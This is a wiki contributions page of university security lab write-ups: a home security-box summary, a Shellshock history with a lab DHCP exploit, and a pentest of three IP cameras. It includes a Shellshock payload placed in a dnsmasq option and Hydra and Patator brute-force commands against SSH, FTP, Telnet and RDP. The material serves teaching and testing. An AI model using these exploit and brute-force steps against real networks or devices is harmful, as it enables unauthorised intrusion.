Elvis Wiki - User contributions [en]

IT-S in a Box

2023-02-26T11:42:03Z

RCox: /* Requirements */

== Summary ==

This documentation summarizes the master's thesis of Asmir Turanovic called "Smart Home Security Box – a Practical Evaluation". A software is built from open-source modules, which helps everyday users to monitor and protect their network from intruders.

== Requirements ==

* Operating system: Ubuntu 20.04
* Raspberry Pi 4
* 16 GB SD card

== Description ==

The Security Box supports the user in keeping an overview of their network.
With solutions such as a URL blacklist, dubious sites can be blocked based on their domain or URL.
It is also possible to define different categories and to block websites or domains on the basis of user-defined lists.
If a website is to be explicitly prevented from being blocked, this is possible with the help of whitelisting. The next technology used is an intrusion detection system (IDS). This is software that detects exploited vulnerabilities in the network.

The steps of the installation can be found on the [https://git.fh-campuswien.ac.at/its-m/sicherheitsbox/ GitLab] page of the project.

== Used Hardware ==

[[Raspberry Pi 4 Model B 8GB]]

== References ==

* https://git.fh-campuswien.ac.at/its-m/sicherheitsbox

[[Category:Documentation]]

IT-S in a Box

2023-02-26T11:41:44Z

RCox: Created page with "== Summary == This documentation summarizes the master's thesis of Asmir Turanovic called "Smart Home Security Box – a Practical Evaluation". A software is built from open-source modules, which helps everyday users to monitor and protect their network from intruders. == Requirements == * Operating system: Ubuntu 20.04 * Raspberry Pi 4 * 16 GB SD card In order to complete these steps, you must have followed Some Other Documentation before. == Description == T..."

== Summary ==

This documentation summarizes the master's thesis of Asmir Turanovic called "Smart Home Security Box – a Practical Evaluation". A software is built from open-source modules, which helps everyday users to monitor and protect their network from intruders.

== Requirements ==

* Operating system: Ubuntu 20.04
* Raspberry Pi 4
* 16 GB SD card

In order to complete these steps, you must have followed [[Some Other Documentation]] before.

== Description ==

The Security Box supports the user in keeping an overview of their network.
With solutions such as a URL blacklist, dubious sites can be blocked based on their domain or URL.
It is also possible to define different categories and to block websites or domains on the basis of user-defined lists.
If a website is to be explicitly prevented from being blocked, this is possible with the help of whitelisting. The next technology used is an intrusion detection system (IDS). This is software that detects exploited vulnerabilities in the network.

The steps of the installation can be found on the [https://git.fh-campuswien.ac.at/its-m/sicherheitsbox/ GitLab] page of the project.

== Used Hardware ==

[[Raspberry Pi 4 Model B 8GB]]

== References ==

* https://git.fh-campuswien.ac.at/its-m/sicherheitsbox

[[Category:Documentation]]

Shellshock

2023-01-08T17:51:16Z

RCox:

== Summary ==

This documentation is about the Shellshock bug found in 2014.

== Requirements ==

* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
* Packages: dnsmasq

== History ==

=== Initial Discovery ===

On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.

=== Discovery of a bigger problem ===

After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.

=== Aftermath ===

The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.

== Functionality ==

The Shellshock vulnerability is enumerated as an improper neutralization of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof Standards and Technology. It can be exploited to give an attacker remote codeexecution. The vulnerability occurs when defining a environment variable. So basicallyevery system where an attacker could control the content of an environment variablewas exploitable. This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.

With the export command, it is possible to export shell variables but also shellfunctions. In the bash version with the Shellshock vulnerability a function definitionstarted with ”(){” in the value of the exported variable. The vulnerability existedbecause bash does not stop processing after the function definition, it continues toparse and execute shell commands.Environment variables can be defined with the following command:
env variablename='<value>'
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:
env x='() { :; }; <exploit code>'

== Types ==

=== Apache CGI ===

Apache CGI is a technology to dynamically load content of a website. This is done via script, which can be written in any programming language.
This type of the attack mostly uses the User-Agent field of a request. The field's value is set to the Shellshock command, which typically opens a reverse TCP-Shell to the attacker. As soon as the request is sent and processed by the targeted webserver, the attacker has total control over it.

=== OpenSSH ===

Similar to Apache CGI, the OpenSSH attack is used to open a shell on the target. This can even go as far that Shellshock bypasses Multi-Factor Authentication.
For this, the attacker uses the -t switch of the SSH command, which is used to execute addition command. The value will be the Shellshock command, which the attacker wants the target to execute.

=== DHCP ===

Shellshock can also be exploited via DHCP. In that case, the attacker needs to set up a fake Access Point, which runs a DHCP service. Then, in the DHCP options, the attacker needs to set the value of any string based field to the Shellshock command to be executed. When a target connects to the fake AP, the command will be executed and the attacker has control over the target.

== Practical Shellshock DHCP Example ==

=== Setup ===
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.
For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.

=== Check Vulnerablity ===
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:
env x='() { :;}; echo shellshocked' bash -c ""

=== Install & Configurating DNSMASQ ===
First we have to install the package dnsmasq:
apt-get install dnsmasq

After successfully installing dnsmasq we have to configure it. We can do that in the ''/etc/dnsmasq.conf''. I changed the following lines:
port=0
interface=ens33
dhcp-range=192.168.123.10,192.168.123.250,12h
dhcp-option-force=100,() { :; }; echo pwned

Now we need to restart the service and check if any errors occured.
service dnsmasq restart
service dnsmasq status

=== Configurating Client & Server IPs ===
==== Server ====

We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with
apt-get install netplan

Now we have to edit the file ''/etc/netplan/01-network.yaml''. My netplan looks as follows:

network:
version: 2
renderer: networkd
ethernets:
ens33:
addresses:
- 192.168.123.1/24

After saving the file we need to apply the netplan we can do that with the command
sudo netplan apply

To check if the network interface got configured we can perform the command
ifconfig

==== Client ====
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the ''/etc/network/interfaces'' file as follows:
auto eth0
iface eth0 inet dhcp

=== Perform the attack ===
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:
sudo /etc/init.d/networking restart

As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.
== Courses ==

* [[Ausgewählte Kapitel der IT-Security]] (2021/2022)

== References ==

* https://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation
* https://dwheeler.com/essays/shellshock.html
* https://ftp.gnu.org/gnu/bash/

[[Category:Documentation]]

Shellshock

2023-01-08T17:38:47Z

RCox: /* Functionality */

== Summary ==

This documentation is about the Shellshock bug found in 2014.

== Requirements ==

* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
* Packages: dnsmasq

== History ==

=== Initial Discovery ===

On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.

=== Discovery of a bigger problem ===

After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.

=== Aftermath ===

The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.

== Functionality ==

The Shellshock vulnerability is enumerated as an improper neutralization of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof Standards and Technology. It can be exploited to give an attacker remote codeexecution. The vulnerability occurs when defining a environment variable. So basicallyevery system where an attacker could control the content of an environment variablewas exploitable. This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.

With the export command, it is possible to export shell variables but also shellfunctions. In the bash version with the Shellshock vulnerability a function definitionstarted with ”(){” in the value of the exported variable. The vulnerability existedbecause bash does not stop processing after the function definition, it continues toparse and execute shell commands.Environment variables can be defined with the following command:
env variablename='<value>'
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:
env x='() { :; }; <exploit code>'

== Practical Shellshock DHCP Example ==

=== Setup ===
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.
For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.

=== Check Vulnerablity ===
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:
env x='() { :;}; echo shellshocked' bash -c ""

=== Install & Configurating DNSMASQ ===
First we have to install the package dnsmasq:
apt-get install dnsmasq

After successfully installing dnsmasq we have to configure it. We can do that in the ''/etc/dnsmasq.conf''. I changed the following lines:
port=0
interface=ens33
dhcp-range=192.168.123.10,192.168.123.250,12h
dhcp-option-force=100,() { :; }; echo pwned

Now we need to restart the service and check if any errors occured.
service dnsmasq restart
service dnsmasq status

=== Configurating Client & Server IPs ===
==== Server ====

We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with
apt-get install netplan

Now we have to edit the file ''/etc/netplan/01-network.yaml''. My netplan looks as follows:

network:
version: 2
renderer: networkd
ethernets:
ens33:
addresses:
- 192.168.123.1/24

After saving the file we need to apply the netplan we can do that with the command
sudo netplan apply

To check if the network interface got configured we can perform the command
ifconfig

==== Client ====
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the ''/etc/network/interfaces'' file as follows:
auto eth0
iface eth0 inet dhcp

=== Perform the attack ===
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:
sudo /etc/init.d/networking restart

As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.
== Courses ==

* [[Ausgewählte Kapitel der IT-Security]] (2021/2022)

== References ==

* https://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation
* https://dwheeler.com/essays/shellshock.html
* https://ftp.gnu.org/gnu/bash/

[[Category:Documentation]]

IOT Security: Pentesting on IP Cameras

2022-06-22T09:09:23Z

RCox: /* Description */

== Summary ==

This is a documentation on pentesting performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud and/or MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Pre-Engagement Interactions
Working with a client to absolutely outline and report evaluation objectives, scope, and policies of engagement.
There are three ways to run the test. In our case, the tester is doing a black-box test, which means the tester doesn't know anything about the system to be tested, i.e. he/she has to act as a hacker. The pentester needs to create a contract with the client on when, how, and what to test.
In addition, there should be a privilege explanation and a non-disclosure agreement between the pentester and the client. 

*Gathering Information
Collecting and examing key data regarding the software and its infrastructure. We recommend creating an architectural sketch (deployment diagram).
The camera software itself may not be threateningly modelable, but you need to identify the protocol for all the surrounding systems that the camera needs to communicate with. After that, you should identify who uses the protocol and who accesses them.


*Threat Modeling
Threat modeling is an established technique of figuring out and prioritizing ability threats to a system and figuring out the value that ability mitigations might have in decreasing or neutralizing one's threats. A threat is a set of situations that might purpose harm, which means a hypothetical action where the attacker exploits a vulnerability.
3 main types of threats in the IoT are taking control, stealing information, and disrupting service. 
The OWASP Top 10 is a standard awareness document that represents a broad consensus about the most critical security risks to web applications.
This includes the following top 10 IOT vulnerabilities: weak passwords, insecure network services, insecure ecosystem interfaces, lack of secure update mechanism, use of insecure or outdated components, insufficient privacy protection, insecure data transfer and storage, lack of device management, insecure default settings and lack of physical hardening. 
These elements should be considered: IoT device, cloud, mobile application, network interfaces, software, use of encryption, use of authentication, physical security, and USB ports.
Suppose you have an IP camera installed and you want to log in remotely to monitor your home situation. Such a simple implementation poses many risk factors and creates a huge attack surface in the environment. An attacker could remotely scan for a vulnerability in an IP camera, brute force, connect (if you have a backdoor or the same hard-coded SSH key), and exploit it.


*Vulnerability Analysis
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase. Exploitation can be software, shellcode, certain commands, code injection, remote exploits without any prior access, and local exploits with prior access to the system. 

*Post Exploitation
After successful exploitation, it's far crucial to report all steps and tools - so that you can demonstrate the impact and possible consequences of the vulnerabilities to the client.

*Reporting
Providing a complete report with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. It consists of two parts: An executive summary and a technical report. The executive summary provides a background overview, test overview, risk profile, general findings, an overview of the tasks required to mitigate the problem, and short-term and long-term goals to improve security increase.
It is important to document how easy it was to find this vulnerability and what the countermeasures are. The risk analysis is the most important part because the pentester needs to consider how high the risks of the detected vulnerabilities are and how these vulnerabilities could affect the company.
These results are used to make company decisions that could have a significant impact on the company.
The technical report details the intelligence collection and vulnerability testing results, and the client's internet footprint.


*Resolution & Re-Testing
 The client follows the recommendations and after completing patching the vulnerabilities a re-test is run. 

=== Set-up ===

You need to set up the camera together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.
We recommend that you create a virtual machine and after that, you need to install Kali Linux on your VM. With this operating system, many tools are already pre-installed and ready to use.

=== Scanning Tools ===

Nmap 
Nmap Scans will give you important information about the target system.

Target specification:
$sudo nmap <target IP> Scan a single IP

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Firstscan.jpg | 400px]] || [[File:Firstscan ezviz.jpg | 400px]] || [[File:Firstscan abus.png | 400px]]
|}

DNS query on a specific host:
$sudo namp -sL <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Dsn tplink.jpg |400px]] || [[File:Dsn ezviz.png | 400px]] || [[File:Dns abuss.png | 400px]]
|}

Force reverse DNS resolution:
$sudo nmap -R <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Dns-reverse-tplink.png | 400px]] || [[File:Dnsreverse-ezviz.jpg | 400px]] || [[File:Dns-reverse-abus.png | 400px]]
|}

Perform an aggressive scan and service version detection:
$sudo nmap -sV -A <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Agscan tplink.png | 400px]] || [[File:Agscan-evziz.png | 400px]] || [[File:Agscan abus.png | 400px]]
|}

Scan TCP/UDP ports:
$sudo nmap <target IP> -sT TCP connect port scan (Default without root privilege)
$sudo nmap <target IP> -sU UDP port scan

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:tcp-tplink.png | 400px]] || [[File:tcp-evziz.png | 400px]] || [[File:Tcp-abus.png | 400px]]
|}

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:udp-tplink.png | 400px]] || [[File:udp-e.png | 400px]] || [[File:udp-abus.png | 400px]]
|}

Host discovery and port scan:
$sudo nmap <target IP> -sn Disable port scanning. Host discovery only
$sudo nmap <target IP> -Pn Disable host discovery. Port scan only (If the host is down)

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:sn-tplink.png | 400px]] || [[File:sn-e.png | 400px]] || [[File:sn-abus.png | 400px]]
|}

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:pn-tplink.png | 400px]] || [[File:pn-e.png | 400px]] || [[File:pn-abus.png | 400px]]
|}

Port Specification:
$sudo nmap <target IP> -p- Scan all ports

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:port-tpp.png | 400px]] || [[File:port-e.png | 400px]] || [[File:port-abus.png | 400px]]
|}

OS Detection:
$sudo nmap <target IP> -O Remote OS detection using TCP/IP

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:o-tplink.png | 400px]] || [[File:o-e.png | 400px]] || [[File:o-abus.png | 400px]]
|}

FIN-scan:
$sudo nmap <target IP> -sF Scanner sends FIN segments

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:sf-tplink.png | 400px]] || [[File:sf-e.png | 400px]] || [[File:sf-abus.png | 400px]]
|}

Firewall Evasion Technique:
$sudo nmap -f <target IP> augment packets 

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:f-tplink.png | 400px]] || [[File:f-e.png | 400px]] || [[File:f-abus.png | 400px]]
|}

Use a set of scripts from the /usr/share/nmap/scripts/ directory:
$sudo nmap -sV --script $SCRIPT <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:script-tplink.png | 400px]] || [[File:script-e.png | 400px]] || [[File:script-abus.png | 400px]]
|}

Aggressive Scan:
$sudo nmap -Pn -sS -sV -version-all --reason -v -A -O --osscan-guess <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:scan-tplink.png | 400px]] || [[File:scan-e.png | 600px]] || [[File:scan-abus.jpg | 600px]]
|}

Spiderfoot 
Spiderfoot uses various modules to collect information and it can collect information about the target host through the scanning options available in the Spiderfoot Framework.
$spiderfoot -l <target IP>:<target Port>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:spiderfoot-tplink.png | 400px]] || [[File:spiderfoot-e.png | 800px]] || [[File:spiderfoot-abus.jpg | 800px]]
|}

Dmitry 
Dmitry Tool can be used to search subdomains of the target, find open ports of the target system, perform TCP scan, find operating system information, web server details, web host details, hosting service details, registered domain, name, address, the contact information of the person who registered it, find email addresses that are associated with the domain of the target.
$dimitry -p -l <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:dmitry-tplink.png | 400px]] || [[File:dmitry-e.png | 400px]] || [[File:dmitry-abus.jpg | 400px]]
|}

The Harvester 
With the Harvester, you can gather information like emails, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and SHODAN computer database.

$theHarvester -d <target IP> -l 1000 -b google

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:harvester-tplink.png | 400px]] || [[File:harvester-e.png | 400px]] || [[File:harvester-abus.jpg | 400px]]
|}

HackerEnv 
HackerEnv is an automated tool developed in the Bash language that quickly performs port scans, scans target IP addresses for vulnerabilities, and retrieves exploits to form the Searchsploit utility.
$git clone https://github.com/abdulr7mann/hackerEnv.git
$cd hackerEnv
$chmod +x hackerEnv
$bash hackerEnv -t <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:hacker-tplink.png | 400px]] || [[File:hacker-e.png | 400px]] || [[File:hacker-abus.jpg | 800px]]
|}

Legion 
Legion works with a GUI which can perform automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer, and more (with almost 100 auto-scheduled scripts). It is already installed on Kali Linux 2022.2.

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:legion-tplink.jpg.png | 400px]] || [[File:legion-e.png | 400px]] || [[File:legion-abuss.jpg | 400px]]
|}

Nessus 
Nessus is a special software, so-called vulnerability scanner, that inspects systems for security gaps and vulnerabilities. It can be used to identify local and remote vulnerabilities, to audit configuration and compliance, verify default credentials, and scan web applications.
 
$sudo dpkg -i <Nessus deb file>
$/bin/systemctl start nessusd.service
go to https://kali:8834/ to configure the scanner

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:nessus-tplink.png | 200px]] || [[File:nessus-e.png | 400px]] || [[File:nessus-abus2.png | 600px]]
|}

Wireshark 
Wireshark is a protocol analyzer. It is an essential tool for safety experts or gadget administrators. It is used to investigate the shape of various community protocols and has the ability to illustrate applications.

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:wireshark-tplink.png | 400px]] || [[File:wireshark-ev.png | 800px]] || [[File:wireshark-abus.png | 800px]]
|}

=== Exploitation Tools ===
Metasploit 
Test your camera for security gaps with the help of the framework provided by Metasploit.
You can use the various exploits collected by the framework to perform various security and penetration tests on your distributed target system.
The attack method (exploit) and the executed code (payload) are separated.
Exploits need to be specially tuned for various security gaps in software and hardware.
This code is used when the attack method is successful and can break into or compromise the system.

msf6 > search <open port protocol> Search for exploits of open ports

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C
|-
| [[File:metasploit-tplink.png | 400px]] [[File:ssl-tplink.png | 400px]] || [[File:metasploit-rtsp.png | 600px]]
|}

Searchsploit 
The SearchSploit utility is a local copy of the Exploit Database and it searches this database to find exploits for various software and services found during the penetration testing phase. You can also use this utility to inspect an exploit and make a copy that you can modify for use on a particular host.

$searchsploit <open port protocol> Search for exploits of open ports

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C
|-
| [[File:searchsploit-abyss.png | 400px]] || [[File:searchspoit-rtsp.png | 400px]]
|}

Hydra and Patator 
Hydra and Patator are login crackers that support numerous attack protocols. These tools make it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. They are used to brute-force usernames and passwords to different services such as ftp, ssh, telnet, MS-SQL, etc.
 
You can access the wordlist in a directory by using the below command.
$cd /usr/share/wordlists

$hydra <Target_IP> ssh -l <username> -P <password_file> -s 22 -vV to brute-force SSH username and password
$hydra -L <username_file> -P <password_file> ftp://<Target_IP> to brute-force FTP username and password
$hydra -l <username> -p <password> telnet://<Target_IP> to brute-force Telnet username and password

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:hydra-tplink.png | 400px]] || [[File:ssh-e.png | 600px]] || [[File:ssh-abus.jpg | 800px]]
|}

$patator rdp_login host=<target IP> user=FILE0 0=<username_file> password=FILE1 1=<password_file> -x ignore:code=131

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120
|-
| [[File:patator.png | 400px]]
|}

=== Report ===
All three cameras have motion and audio detection capabilities, and the app will notify you when motion is detected. Live video is also possible.
TP-Link saves the data for user registration and communication with external cloud services from Amazon Web Services, Inc. (410 Terry Avenue North, Seattle WA 98109, United States; "AWS"), and Evziz uses its own Evziz Cloud.
Unlike Abus and Evziz, you cannot store data on a MicroSD card on the kasa cam. All bits of the video are protected by industry-standard 128-bit AES encryption using SSL / TLS.
EZVIZ Cloud provides a dual encryption solution that covers both server-side and client-side encryption, so data transmission between the device and the cloud is encrypted end-to-end. It also advises users to make sure that the data is stored on the physical device in encrypted form. This reduces the risks associated with unauthorized access of data to physical devices. All cameras use the WiFi connection protocol which supports WEP and WPA / WPA2 encryption.

The scan tools has detected four open ports on TP-Link's with the service abyss and cirrossp. The Evziz camera had four open ports running RTSP, http-alt, trivnet1, and sdr services.
The Abus camera had no open ports, only the MAC address was displayed.
TP-Link uses TCP as traceroute, Evziz uses ICMP and Abus uses broadcast.
 
The final Nmap scan on Kasa Cam showed that the device type is a webcam. Nmap is guessing that the Garmin Embedded is running on the camera. The OS CPE is cpe:/h:/garmin:virb_elite and it has to be a Garmin Virb Elite action camera. Using Evziz Cam, Nmap thinks that the operating system Linux is probably running on the camera.

The exploit tools did not detect abyss and cirrossp exploits. The RTSP protocol on the Evziz camera had several exploits, but none of them has led to remote access. The login crackers could not infer login data. Based on these results, we would advise our client not to take new security measures.

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://wiki.owasp.org/index.php/Main_Page
* https://tools.kali.org/tools-listing
* https://nmap.org/
* https://www.spiderfoot.net/
* https://www.kali.org/tools/dmitry/
* https://github.com/laramies/theHarvester
* https://github.com/abdulr7mann/hackerEnv
* https://govanguard.com/legion/
* https://www.tenable.com/downloads/nessus?loginAttempted=true
* https://www.kali.org/tools/wireshark/
* https://www.metasploit.com/
* https://www.speedguide.net/ports.php
* https://www.exploit-db.com/
* https://github.com/vanhauser-thc/thc-hydra
* https://github.com/lanjelot/patator

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-22T09:01:16Z

RCox: /* Description */

== Summary ==

This is a documentation on pentesting performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud and/or MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Pre-Engagement Interactions
Working with a client to absolutely outline and report evaluation objectives, scope, and policies of engagement.
There are three ways to run the test. In our case, the tester is doing a black-box test, which means the tester doesn't know anything about the system to be tested, i.e. he/she has to act as a hacker. The pentester needs to create a contract with the client on when, how, and what to test.
In addition, there should be a privilege explanation and a non-disclosure agreement between the pentester and the client. 

*Gathering Information
Collecting and examing key data regarding the software and its infrastructure. We recommend creating an architectural sketch (deployment diagram).
The camera software itself may not be threateningly modelable, but you need to identify the protocol for all the surrounding systems that the camera needs to communicate with. After that, you should identify who uses the protocol and who accesses them.


*Threat Modeling
Threat modeling is an established technique of figuring out and prioritizing ability threats to a system and figuring out the value that ability mitigations might have in decreasing or neutralizing one's threats. A threat is a set of situations that might purpose harm, which means a hypothetical action where the attacker exploits a vulnerability.
3 main types of threats in the IoT are taking control, stealing information, and disrupting service. 
